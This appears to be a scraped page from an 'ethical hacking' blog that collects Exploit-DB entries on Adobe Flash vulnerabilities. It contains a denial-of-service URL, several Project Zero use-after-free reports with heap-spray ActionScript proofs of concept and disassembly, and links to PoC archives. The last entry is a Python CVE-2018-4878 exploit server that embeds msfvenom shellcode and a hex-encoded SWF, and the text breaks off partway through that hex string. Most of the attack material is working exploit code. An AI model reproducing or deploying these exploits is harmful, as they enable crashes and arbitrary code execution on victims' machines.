source: https://www.securityfocus.com/bid/49103/info
The Adobe Flash Media Server is prone to a remote denial-of-service vulnerability.
Successful exploits will allow attackers to crash the affected application, denying service to legitimate users. Due to the nature of this issue, arbitrary code execution may be possible; however, this has not been confirmed.
http://www.example.com:1111/?%
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
86399734
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
Source: https://code.google.com/p/google-security-research/issues/detail?id=557
There are a number of use-after-free vulnerabilities in MovieClip.beginGradientFill. If the spreadMethod or any other string parameter is an object with toString defined, this method can free the MovieClip, which is then used. Note that many parameters to this function can be used to execute script and free the MovieClip during execution, it is recommended that this issues be fixed with a stale pointer check.
A PoC is as follows:
this.createEmptyMovieClip("bmp_fill_mc", 1);
with (bmp_fill_mc) {
colors = [0xFF0000, 0x0000FF];
fillType = "radial"
alphas = [100, 100];
ratios = [0, 0xFF];
var o = {toString: func};
spreadMethod = o;
interpolationMethod = "linearRGB";
focalPointRatio = 0.9;
matrix = new Matrix();
matrix.createGradientBox(100, 100, Math.PI, 0, 0);
beginGradientFill(fillType, colors, alphas, ratios, matrix,
spreadMethod, interpolationMethod, focalPointRatio);
moveTo(100, 100);
lineTo(100, 300);
lineTo(300, 300);
lineTo(300, 100);
lineTo(100, 100);
endFill();
}
bmp_fill_mc._xscale = 200;
bmp_fill_mc._yscale = 200;
function func(){
trace("in func");
var test = thiz.createTextField("test", 1, 1, 1, 10, 10);
trace(test);
test.removeTextField();
return "reflect";
}
A sample swf and fla is attached.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39022.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=627
The attached swf file causes an out-of-bounds memset in BlurFilter processing. Note that Chrome aborts when processing the swf
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39219.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=444&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
[Tracking for https://code.google.com/p/chromium/issues/detail?id=498984]
Credit is to bilou, working with the Chromium Vulnerability Rewards Program.
---
VULNERABILITY DETAILS
There is a use after free vulnerability in the ActionScript 2 TextField.filters array property.
This is Issue 457278 resurrected. Again.
VERSION
Chrome Version: [43.0.2357.124, Flash 18.0.0.160]
Operating System: [Windows 7 x64 SP1]
REPRODUCTION CASE
There is a use after free vulnerability in the ActionScript 2 TextField.filters array property.
This is Issue 457278 resurrected. Again.
When the TextField.filters array is set, Flash creates an internal array holding the filters. When the property is read, Flash iterates over this array and clones each filter. During this loop, it is possible to execute some AS2 by overriding a filter's constructor. At that moment, if the AS2 code alters the filters array, Flash frees the internal array leaving a reference to freed memory in the stack. When the execution flow resumes to the loop, a use-after-free occurs.
Flash 17.0.0.169 added a flag to mitigate Issue 457278
.text:004D6F0B mov esi, [esp+2Ch+var_C]
.text:004D6F0F push 1 ; char
.text:004D6F11 mov ecx, edi ; int
.text:004D6F13 mov byte ptr [esi+0Ch], 1 ; this flag was added
.text:004D6F17 call xparseAS2Code
.text:004D6F1C mov byte ptr [esi+0Ch], 0
Flash 18.0.0.160 added an other flag to mitigate Issue 476926
.text:004D6E3E loc_4D6E3E:
.text:004D6E3E cmp byte ptr [ebp+0Ch], 0 ; this flag was added
.text:004D6E42 lea eax, [ebp+0Ch]
.text:004D6E45 mov [esp+2Ch+var_8], eax
.text:004D6E49 jz short loc_4D6E58
.text:004D6E4B mov ecx, dword_E50A40
.text:004D6E51 call sub_967730
.text:004D6E58
.text:004D6E58 loc_4D6E58:
.text:004D6E58 mov byte ptr [eax], 1
.text:004D6E5B jmp short loc_4D6E65
But they didn't figure it was possible to execute AS2 code a bit above in the function:
.text:004D6E6F mov eax, [ebp+0]
.text:004D6E72 push 0
.text:004D6E74 lea edx, [esp+34h+var_14]
.text:004D6E78 push edx
.text:004D6E79 mov edx, [eax+14h]
.text:004D6E7C mov ecx, ebp
.text:004D6E7E call edx ; return the filter name
.text:004D6E80 push eax
.text:004D6E81 lea eax, [esp+3Ch+var_10]
.text:004D6E85 push eax
.text:004D6E86 mov ecx, edi
.text:004D6E88 call xcreateStringObject
.text:004D6E8D mov ebx, [esp+38h+arg_4]
.text:004D6E91 push eax
.text:004D6E92 push ecx
.text:004D6E93 mov eax, esp
.text:004D6E95 mov ecx, edi
.text:004D6E97 mov [eax], ebx
.text:004D6E99 call sub_420400 ; execute some AS2 with a custom __proto__ object
For ex:
var oob = {}
oob.__proto__ = {}
oob.__proto__.addProperty("GlowFilter", function () {f(); return 0x123}, function () {});
flash.filters = oob
Tested on Flash Player standalone 18.0.0.160, and Chrome 43.0.2357.124.
That should crash while dereferencing 0x41424344.
Compile with Flash CS 5.5.
***************************************************************************
Content of FiltusPafusTer.fla
import flash.filters.GlowFilter;
var a1:Array = new Array()
var a2:Array = new Array()
for (i = 0; i<0x50/4;i++) {
a2[i] = 0x41424344
}
for (var i = 0; i<0x200;i++) {
var tf:TextFormat = new TextFormat()
a1[i] = tf
}
for (var i = 0; i<0x200;i++) {
a1[i].tabStops = a2
}
var tfield:TextField = createTextField("tf",1,1,2,3,4)
var glowfilter:GlowFilter = new GlowFilter(1,2,3,4,5,6,true,true)
tfield.filters = [glowfilter]
function f() {
for (var i = 0; i<0x20;i++) {
_global.a1[0x100+i*4].tabStops = [1,2,3,4]
}
_global.tfield.filters = []
for (var i = 0; i<0x200;i++) {
_global.a1[i].tabStops = a2
}
}
_global.tfield = tfield
_global.a1 = a1
_global.a2 = a2
var oob = {}
oob.__proto__ = {}
oob.__proto__.addProperty("GlowFilter", function () {f(); return 0x123}, function () {});
flash.filters = oob
var a = tfield.filters
---
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37883.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=342&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
[Tracking for https://code.google.com/p/chromium/issues/detail?id=480496]
Credit is to bilou, working with the Chromium Vulnerability Rewards Program.
---
VULNERABILITY DETAILS
A little bug while setting the TextFilter.filters array.
Chrome 42.0.2311.90 with Flash 17.0.0.169
VERSION
Chrome Version: 42.0.2311.90 Stable with Flash 17.0.0.169
Operating System: [Win 7 SP1]
REPRODUCTION CASE
We can set the TextFilter.filters array with either an array or a custom object. Providing an object allows an attacker to execute AS2 code in the following loop (these lines come from flashplayer17_sa.exe 17.0.0.169):
.text:004D6964 loc_4D6964:
.text:004D6964 and eax, 0FFFFFFF8h
.text:004D6967 push edi
.text:004D6968 mov edi, eax
.text:004D696A mov ecx, edi
.text:004D696C xor esi, esi
.text:004D696E call xAS2_getArrayLength ; here we can override object.length and execute some code
.text:004D6973 test eax, eax ; if that code frees the object pointed by ebx...
.text:004D6975 jle short loc_4D69A3
.text:004D6977
.text:004D6977 loc_4D6977:
.text:004D6977 push edi
.text:004D6978 mov ecx, esi
.text:004D697A call sub_4D3FE0 ; get an item from the object
.text:004D697F add esp, 4
.text:004D6982 test eax, eax ; we have either a filter or 0 here
.text:004D6984 jz short loc_4D6997
.text:004D6986 mov edx, [eax]
.text:004D6988 mov ecx, eax
.text:004D698A mov eax, [edx+18h]
.text:004D698D call eax
.text:004D698F push eax
.text:004D6990 mov ecx, ebx ; ...we get a use after free here
.text:004D6992 call sub_4CDB70 ; and a write-4 condition here
.text:004D6997
.text:004D6997 loc_4D6997:
.text:004D6997 mov ecx, edi
.text:004D6999 inc esi
.text:004D699A call xAS2_getArrayLength
.text:004D699F cmp esi, eax
.text:004D69A1 jl short loc_4D6977
Freeing the object pointed by ebx is easy indeed:
var tfield:TextField = createTextField("tf",1,1,2,3,4) //create a TextField at depth 1
tfield.filters = [] //create the targeted object
createTextField("textf",1,1,2,3,4) //create again a TextField (or any other DisplayObject) at the same depth and Flash frees the targeted object
flash_as2_filters_uaf_write4_poc.swf just crashes the program and flash_as2_filters_uaf_write4.swf crashes while writing to 0x41424344
***************************************************************************
Content of flash_as2_filters_uaf_write4_poc.fla
//Compile that with Flash CS5.5 and change the property "s" in the swf to "3"
//It's because Flash CS5.5 does not allow naming a property with a numeral
import flash.filters.GlowFilter;
var tfield:TextField = createTextField("tf",1,1,2,3,4)
function f() {
_global.mc.createTextField("tf",1,1,2,3,4)
}
_global.mc = this
_global.counter = 0
var oCounter:Object = new Object()
oCounter.valueOf = function () {
_global.counter += 1
if (_global.counter == 1) f()
return 10;
}
var o = {length:oCounter, 3:new GlowFilter(1,2,3,4,5,6,true,true)}
tfield.filters = o
***************************************************************************
Content of flash_as2_filters_uaf_write4.fla
//Compile that with Flash CS5.5 and change the property "s" in the swf to "3"
//It's because Flash CS5.5 does not allow naming a property with a numeral
import flash.filters.GlowFilter;
var a1:Array = new Array()
var a2:Array = new Array()
for (i = 0; i<0x3F8/4;i++) {
a2[i] = 0x41424344
}
a2[3] = 0
a2[0x324/4] = 0x41414100
a2[0x324/4 + 1] = 0x41424344
a2[0x324/4 + 2] = 0x41414143
a2[0x324/4 + 3] = 0x41414100
for (var i = 0; i<0x200;i++) {
var tf:TextFormat = new TextFormat()
a1[i] = tf
}
for (var i = 0; i<0x100;i++) {
a1[i].tabStops = a2
}
var tfield:TextField = createTextField("tf",1,1,2,3,4)
function f() {
_global.mc.createTextField("tf",1,1,2,3,4)
for (var i = 0x100; i<0x200;i++) {
_global.a1[i].tabStops = _global.a2
}
}
_global.mc = this
_global.counter = 0
_global.a1 = a1
_global.a2 = a2
var oCounter:Object = new Object()
oCounter.valueOf = function () {
_global.counter += 1
if (_global.counter == 1) f()
return 10;
}
var o = {length:oCounter, s:new GlowFilter(1,2,3,4,5,6,true,true)}
tfield.filters = o
---
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37848.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=330&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
[Tracking for: https://code.google.com/p/chromium/issues/detail?id=476926]
Credit is to bilou, working with the Chromium Vulnerability Rewards Program.
---
VULNERABILITY DETAILS
There is a use after free vulnerability in the ActionScript 2 TextField.filters array property.
This is Issue 457278 resurrected.
VERSION
Chrome Version: [?, Flash 17.0.0.169]
Operating System: [Windows 7 x64 SP1]
REPRODUCTION CASE
When the TextField.filters array is set, Flash creates an internal array holding the filters. When the property is read, Flash iterates over this array and clones each filter. During this loop, it is possible to execute some AS2 by overriding a filter's constructor. At that moment, if the AS2 code alters the filters array, Flash frees the internal array leaving a reference to freed memory in the stack. When the execution flow resumes to the loop, a use-after-free occurs.
Note: Flash 17.0.0.169 tried to patch the previous issue by setting an "in used" flag on the targeted filter (flashplayer17_sa.exe 17.0.0.169):
.text:004D67F8 mov esi, [esp+1Ch+var_4]
.text:004D67FC push 1 ; char
.text:004D67FE mov ecx, ebp ; int
.text:004D6800 mov byte ptr [esi+0Ch], 1 // this flag was added
.text:004D6804 call xparseAS2Code
.text:004D6809 mov byte ptr [esi+0Ch], 0
And when we check the function that deletes the filters:
.text:004D66D0 push edi
.text:004D66D1 mov edi, ecx
.text:004D66D3 cmp byte ptr [edi+0Ch], 0 // check again the flag, and jump if it is set, so that the filter won't be deleted
.text:004D66D7 jnz short loc_4D6716
.text:004D66D9 cmp dword ptr [edi], 0
.text:004D66DC jz short loc_4D6708
We can bypass that feature with the following code:
flash.filters.GlowFilter = MyGlowFilter
var a = tfield.filters // set the flag to 1
--- in MyGlowFilter ---
flash.filters.GlowFilter = MyGlowFilter2
var a = _global.tfield.filters // set the flag to 1, and then set it to 0
//now we can free the filter :D, the flag is set to 0!
_global.tfield.filters = []
Tested on Flash Player standalone 17.0.0.169, the updated Chrome is not available at the time of writing.
But since the objects haven't changed too much the updated version should crash while dereferencing 0x41424344.
Can't we call that a -1day :D?
***************************************************************************
Content of FiltusPafusBis.fla
import flash.filters.GlowFilter;
var a1:Array = new Array()
var a2:Array = new Array()
for (i = 0; i<0x50/4;i++) {
a2[i] = 0x41424344
}
for (var i = 0; i<0x200;i++) {
var tf:TextFormat = new TextFormat()
a1[i] = tf
}
for (var i = 0; i<0x200;i++) {
a1[i].tabStops = a2
}
var tfield:TextField = createTextField("tf",1,1,2,3,4)
var glowfilter:GlowFilter = new GlowFilter(1,2,3,4,5,6,true,true)
tfield.filters = [glowfilter]
function f() {
for (var i = 0; i<0x20;i++) {
_global.a1[0x100+i*4].tabStops = [1,2,3,4]
}
flash.filters.GlowFilter = MyGlowFilter2
var a = _global.tfield.filters
_global.tfield.filters = []
for (var i = 0; i<0x200;i++) {
_global.a1[i].tabStops = a2
}
}
_global.tfield = tfield
_global.f = f
_global.a1 = a1
_global.a2 = a2
flash.filters.GlowFilter = MyGlowFilter
var a = tfield.filters
***************************************************************************
Content of MyGlowFilter.as:
import flash.filters.GlowFilter;
class MyGlowFilter extends flash.filters.GlowFilter {
public function MyGlowFilter (a,b,c,d,e,f,g,h)
{
super(a,b,c,d,e,f,g,h);
_global.f()
}
}
***************************************************************************
Content of MyGlowFilter2.as:
import flash.filters.GlowFilter;
class MyGlowFilter2 extends flash.filters.GlowFilter {
public function MyGlowFilter2 (a,b,c,d,e,f,g,h)
{
super(a,b,c,d,e,f,g,h);
}
}
***************************************************************************
Content of FiltusPafusBis_poc.fla
import flash.filters.GlowFilter;
var tfield:TextField = createTextField("tf",1,1,2,3,4)
var glowfilter:GlowFilter = new GlowFilter(1,2,3,4,5,6,true,true)
tfield.filters = [glowfilter]
function f() {
flash.filters.GlowFilter = MyGlowFilter2
var a = _global.tfield.filters
_global.tfield.filters = []
}
_global.tfield = tfield
_global.f = f
flash.filters.GlowFilter = MyGlowFilter
var a = tfield.filters
---
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37847.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=359&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
[Deadline tracking for https://code.google.com/p/chromium/issues/detail?id=482521]
---
VULNERABILITY DETAILS
When setting the scrollRect attribute of a MovieClip in AS2 with a custom Rectangle it is possible to free the MovieClip while a reference remains
in the stack
VERSION
Chrome Version: Chrome stable 42.0.2311.90, Flash 17.0.0.169
Operating System: [Win 7 SP1]
REPRODUCTION CASE
That code targets the MovieClip.scrollRect property. While setting this attribute with a custom Rectangle, it is possible to trigger a use after free by freeing the targeted MovieClip. Creating a TextField with the same depth of the targeted MovieClip is enough to free an object and have Flash crash.
These lines come from flashplayer standalone 17.0.0.169:
.text:00597F45 loc_597F45:
.text:00597F45 cmp eax, 6
.text:00597F48 jnz loc_597FE5
.text:00597F4E mov ecx, esi ; esi points to the MovieClip object
.text:00597F50 call sub_40C1ED
.text:00597F55 add eax, 30Ch
.text:00597F5A or dword ptr [eax], 8
.text:00597F5D mov eax, [ebx]
.text:00597F5F mov byte ptr [eax+82Ch], 1
.text:00597F66 mov ecx, [ebx]
.text:00597F68 lea eax, [ebp+74h+var_1C0]
.text:00597F6E push eax
.text:00597F6F push dword ptr [ebx+0Ch]
.text:00597F72 call xfetchRectangleProperties ; get the Rectangle properties, and execute some AS2
.text:00597F77 test al, al
.text:00597F79 jz loc_598274
.text:00597F7F mov edi, [ebp+74h+var_1C0]
.text:00597F85 mov ecx, esi
.text:00597F87 imul edi, 14h
.text:00597F8A call sub_40C1ED ; reference freed memory and return a bad
pointer
.text:00597F8F mov [eax+310h], edi ; crash here, eax = 0
Poc (compile with Flash CS5.5):
import flash.geom.Rectangle
var o2 = {}
o2.valueOf = function () {
_global.mc.createTextField("newtf",1,1,1,2,3)
return 7
}
var o = {x:o2,y:0,width:4,height:5}
_global.mc = this
var newmc:MovieClip = this.createEmptyMovieClip("newmc",1)
newmc.scrollRect = o
---
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37854.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=377&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
[Deadline tracking for https://code.google.com/p/chromium/issues/detail?id=487237]
Credit is to bilou, working with the Chromium Vulnerability Reward Program
---
There is a use after free in Flash caused by an improper handling of BitmapData objects in the DisplacementMapFilter.mapBitmap property.
This is almost a repost of Issue 457680 due to a patch failure.
VERSION
Chrome Version: N/A now, Flash StandAlone Debug 17.0.0.188
Operating System: [Win7 x64 SP1]
REPRODUCTION CASE
The AS2 mapBitmap_v2_as2.fla can be compiled with Flash CS5. Some bytes must be changed manually to trigger the issue (see below).
Just put mapBitmap_v2_as2.swf in a browsable directory and run the swf with Chrome. It might crash while dereferencing 0x41424344 (hopefully, not tested yet because not available).
After compiling mapBitmap_v2_as2.swf, I had to change the bytes at offset 0x92B in the (MyBitmapData constructor):
52 17 96 02 00 04 03 26 to 17 17 17 17 17 17 17 17 (actionPOP)
The description is exactly the same as in Issue 457680 so I won't repost it. Here are just my comments on the patch.
They basically added a marker at offset +0xDC in the flash standalone debugger (the standalone player is not available at the time of writing):
.text:005AD629 loc_5AD629:
.text:005AD629 lea ecx, [esi+0DCh]
.text:005AD62F push edi
.text:005AD630 mov [ebp+1C4h+var_198], ecx
.text:005AD633 call xsetUseMarker
.text:0059F762 cmp byte ptr [ecx], 0 ; is the marker present?
.text:0059F765 jz short loc_59F77B
.text:0059F767 cmp [esp+arg_0], 0 ; is 0 provided?
.text:0059F76C jz short locret_59F77E
.text:0059F76E mov ecx, dword_EE4788 ; kill the program
.text:0059F774 call sub_9798C0
.text:0059F779 jmp short locret_59F77E
.text:0059F77B
.text:0059F77B loc_59F77B:
.text:0059F77B mov byte ptr [ecx], 1 ; else set the marker
.text:0059F77E
.text:0059F77E locret_59F77E:
.text:0059F77E retn 4
That marker is then removed when we exit the BitmapData dispatcher:
.text:005AEF29 mov eax, [ebp+1C4h+var_198] ; jumptable 005AD654 default case
.text:005AEF2C mov byte ptr [eax], 0
So, to trigger again the issue, we just have to put an extra call to getPixel32 for example:
var o = new Object()
o.valueOf = function () {
bd.getPixel32(1,4) // remove the marker :)
f()
for (var i = 0; i<0x10;i++) {
var tf:TextFormat = new TextFormat()
tf.tabStops = b
a[i] = tf
}
return 4
}
bd.getPixel32(o,4)
And we're done :)
---
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37861.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=358&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
[Deadline tracking for https://code.google.com/p/chromium/issues/detail?id=457680]
---
VULNERABILITY DETAILS
There is a use after free in Flash caused by an improper handling of BitmapData objects in the DisplacementMapFilter.mapBitmap property.
VERSION
Chrome Version: 40.0.2214.111 stable, Flash 16.0.0.305
Operating System: Win7 SP1 x64]
The AS2 mapBitmap_as2.fla can be compiled with Flash CS5. Some bytes must be changed manually to trigger the issue (see below).
Just put mapBitmap_as2.swf in a browsable directory and run the swf with Chrome. It should crash while dereferencing 0x41424344.
Here are a few steps to trigger the issue:
1) Create a BitmapData and store it somewhere, for example as a static member of a custom class.
2) Create a second BitmapData and use it to create a DisplacementMapFilter. We don't care about this BitmapData, it is just needed to create the filter.
3) Override the BitmapData constructor with a custom class. That class should put the first BitmapData on top of the AS2 stack when the constructor returns.
4) Create an object o and change its valueOf method so that it points to a function that calls the DisplacementMapFilter.mapBitmap property.
5) Use the first BitmapData and call getPixel32(o).
What happens during step 5? Flash caches first the BitmapData in the stack before calling o.valueOf. At that moment the BitmapData isn't used elsewhere so its refcount equals 1. Flash enters then o.valueOf which leads to get the mapBitmap property. At that moment we hit the following lines, in sub_10193F2D:
CPU Disasm
Address Hex dump Command
6D2D3FBB 68 BE27C66D PUSH OFFSET 6DC627BE
6D2D3FC0 FF73 04 PUSH DWORD PTR DS:[EBX+4]
6D2D3FC3 56 PUSH ESI
6D2D3FC4 8B33 MOV ESI,DWORD PTR DS:[EBX]
6D2D3FC6 E8 A572F8FF CALL 6D25B270 ; that function creates a new atom and calls the BitmapData constructor
6D2D3FCB 84C0 TEST AL,AL
6D2D3FCD 74 09 JE SHORT 6D2D3FD8
6D2D3FCF 8B0B MOV ECX,DWORD PTR DS:[EBX]
6D2D3FD1 6A 01 PUSH 1
6D2D3FD3 E8 281A0100 CALL 6D2E5A00 ; if the constructor is overriden by a custom class, the custom constructor is called here
6D2D3FD8 8B75 08 MOV ESI,DWORD PTR SS:[EBP+8]
6D2D3FDB 8B13 MOV EDX,DWORD PTR DS:[EBX]
6D2D3FDD 56 PUSH ESI
6D2D3FDE E8 418EF6FF CALL 6D23CE24 ; then pop the new atom from the AS2 stack
...
6D2D4000 23F8 AND EDI,EAX
6D2D4002 807F 35 1B CMP BYTE PTR DS:[EDI+35],1B ; and ensure this is indeed a BitmapData
6D2D4006 74 0A JE SHORT 6D2D4012
...
In the next lines Flash does two things. It destroys the BitmapData object associated to the BitmapData atom and replaces it with the one defined in the DisplacementMapFilter:
6D2D4012 8B47 28 MOV EAX,DWORD PTR DS:[EDI+28]
6D2D4015 83E0 FE AND EAX,FFFFFFFE
6D2D4018 8B40 18 MOV EAX,DWORD PTR DS:[EAX+18] ; get the BitmapData object
6D2D401B 33C9 XOR ECX,ECX
6D2D401D 51 PUSH ECX
6D2D401E E8 1DB2FEFF CALL 6D2BF240 ; call the BitmapData destructor
6D2D4023 8B75 10 MOV ESI,DWORD PTR SS:[EBP+10]
6D2D4026 8BC7 MOV EAX,EDI
6D2D4028 E8 134AF6FF CALL 6D238A40 ; and associate the DisplacementMapFilter.mapBitmap object
All of this works as long as the BitmapData object read from the AS2 stack is not in use somewhere. But since we can provide our own constructor, we can do anything with the AS2 stack, including having an in use BitmapData at the top of the stack when the constructor returns. This can be done by manipulating the AS2 byte code of the constructor for example. So if the returned BitmapData has a refcounter set to 1, Flash frees the object and we end up with a garbage reference in the stack which crashes the player in BitmapData.getPixel32.
After compiling mapBitmap_as2.swf, I had to change the bytes at offset 0x90F in the (MyBitmapData constructor):
52 17 96 02 00 04 03 26 to 17 17 17 17 17 17 17 17 (actionPOP)
Hopefully if it works we should crash here with eax controlled:
CPU Disasm
Address Hex dump Command
6D2BFA83 3B58 0C CMP EBX,DWORD PTR DS:[EAX+0C] //eax = 0x41424344
6D2BFA86 7D 57 JGE SHORT 6D2BFADF
6D2BFA88 85FF TEST EDI,EDI
6D2BFA8A 78 53 JS SHORT 6D2BFADF
6D2BFA8C 3B78 08 CMP EDI,DWORD PTR DS:[EAX+8]
6D2BFA8F 7D 4E JGE SHORT 6D2BFADF
6D2BFA91 8BC8 MOV ECX,EAX
6D2BFA93 8B01 MOV EAX,DWORD PTR DS:[ECX]
6D2BFA95 8B50 10 MOV EDX,DWORD PTR DS:[EAX+10]
6D2BFA98 FFD2 CALL EDX
I don't kwow if we can abuse ASLR with that. If we can do something without getting a virtual function dereferenced, it must be possible.
***************************************************************************
Content of MyBitmapData.as
class MyBitmapData extends String
{
static var mf;
function MyBitmapData()
{
super();
var a = MyBitmapData.mf
test(a,a,a,a,a,a,a,a) //that part should be deleted manually in the bytecode
trace(a) //so that MyBitmapData.mf stays on top of the AS2 stack
}
public function test(a,b,c,d,e,f,g,h) {
}
static function setBitmapData(myfilter)
{
mf = myfilter;
}
}
***************************************************************************
Content of mapBitmap_as2.fla
import flash.filters.DisplacementMapFilter;
import flash.display.BitmapData;
var bd:BitmapData = new BitmapData(10,10)
MyBitmapData.setBitmapData(bd)
var bd2:BitmapData = new BitmapData(10,10)
var dmf:DisplacementMapFilter = new DisplacementMapFilter(bd2,new flash.geom.Point(1,2),1,2,3,4)
newConstr = MyBitmapData
flash.display.BitmapData = newConstr
function f() {
var a = dmf.mapBitmap;
}
var a:Array = new Array()
var b:Array = new Array()
for (var i = 0; i<0xC8/4;i++) {
b[i] = 0x41424344
}
var o = new Object()
o.valueOf = function () {
f()
for (var i = 0; i<0x10;i++) {
var tf:TextFormat = new TextFormat()
tf.tabStops = b
a[i] = tf
}
return 4
}
bd.getPixel32(o,4)
---
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37853.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=367&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
[Deadline tracking for Chromium VRP bug https://code.google.com/p/chromium/issues/detail?id=484610]
Credit is to bilou, working with the Chromium Vulnerability Rewards Program.
---
VULNERABILITY DETAILS
When calling Color.setRGB in AS2 it is possible to free the target_mc object used in the Color constructor while a reference remains in the stack.
VERSION
Chrome Version: Chrome stable 42.0.2311.90 with Flash 17.0.0.169
Operating System: Win7 x64 SP1
REPRODUCTION CASE
The Color constructor needs a target_mc object like a MovieClip, a TextField etc. While calling Color.setRGB with a custom object, it is possible to execute arbitrary AS2 code that might delete the target_mc object leading to a UAF.
(These lines come from flashplayer17_sa.exe 17.0.0.169):
.text:004B82D0 push esi
.text:004B82D1 mov esi, [esp+4+arg_0]
.text:004B82D5 push edi
.text:004B82D6 mov edi, ecx
.text:004B82D8 mov ecx, [edi+94h] ; edi points to freed memory
.text:004B82DE and ecx, 0FFFFFFFEh
.text:004B82E1 add ecx, 3Ch
.text:004B82E4 mov eax, esi
.text:004B82E6 call sub_4B0724 ; crash below
...
.text:004B0724 mov edx, [ecx] ; crash here ecx = 3ch (null pointer)
.text:004B0726 cmp edx, [eax]
.text:004B0728 jnz short loc_4B077E
Compile the poc with Flash CS5.5
***************************************************************************
Content of as2_color_uaf.fla:
var tf:TextField = this.createTextField("tf",1,1,1,4,4)
var o = new Object()
o.valueOf = function () {
tf.removeTextField()
return 0x41414142
}
var c = new Color(tf)
c.setRGB(o)
---
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37860.zip
Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46051.zip
Password: infected
#!/usr/bin/env python
# coding: UTF-8
import BaseHTTPServer
import sys
from SimpleHTTPServer import SimpleHTTPRequestHandler
print "@Syfi2k"
print "[+] CVE-2018-4878 poc "
print "--------------------------------"
print "Calc.exe Shellcode via Msfvenom"
print "Based on fixed version https://github.com/anbai-inc/CVE-2018-4878"
print "No Crash without executing the Shellcode, Sandbox? try it yourself"
buf = ""
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
buf += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
buf += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
buf += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
buf += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
buf += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
buf += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
buf += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
buf += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
buf += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00"
buf += "\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5"
buf += "\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a"
buf += "\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53"
buf += "\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"
payload = buf
data = ""
flash_name = "movie"
data = "\x46\x57\x53\x20\xE3\x45\x00\x00\x78\x00\x04\xE2\x00\x00\x0E\xA6\x00\x00\x18\x01\x00\x44\x11\x19\x00\x00\x00\x7F\x13\x1F\x02\x00\x00\x3C\x72\x64\x66\x3A\x52\x44\x46\x20\x78\x6D\x6C\x6E\x73\x3A\x72\x64\x66\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x77\x33\x2E\x6F\x72\x67\x2F\x31\x39\x39\x39\x2F\x30\x32\x2F\x32\x32\x2D\x72\x64\x66\x2D\x73\x79\x6E\x74\x61\x78\x2D\x6E\x73\x23\x22\x3E\x0D\x0A\x20\x20\x20\x20\x3C\x72\x64\x66\x3A\x44\x65\x73\x63\x72\x69\x70\x74\x69\x6F\x6E\x20\x78\x6D\x6C\x6E\x73\x3A\x64\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x70\x75\x72\x6C\x2E\x6F\x72\x67\x2F\x64\x63\x2F\x65\x6C\x65\x6D\x65\x6E\x74\x73\x2F\x31\x2E\x31\x22\x20\x72\x64\x66\x3A\x61\x62\x6F\x75\x74\x3D\x22\x22\x3E\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x64\x63\x3A\x66\x6F\x72\x6D\x61\x74\x3E\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x73\x68\x6F\x63\x6B\x77\x61\x76\x65\x2D\x66\x6C\x61\x73\x68\x3C\x2F\x64\x63\x3A\x66\x6F\x72\x6D\x61\x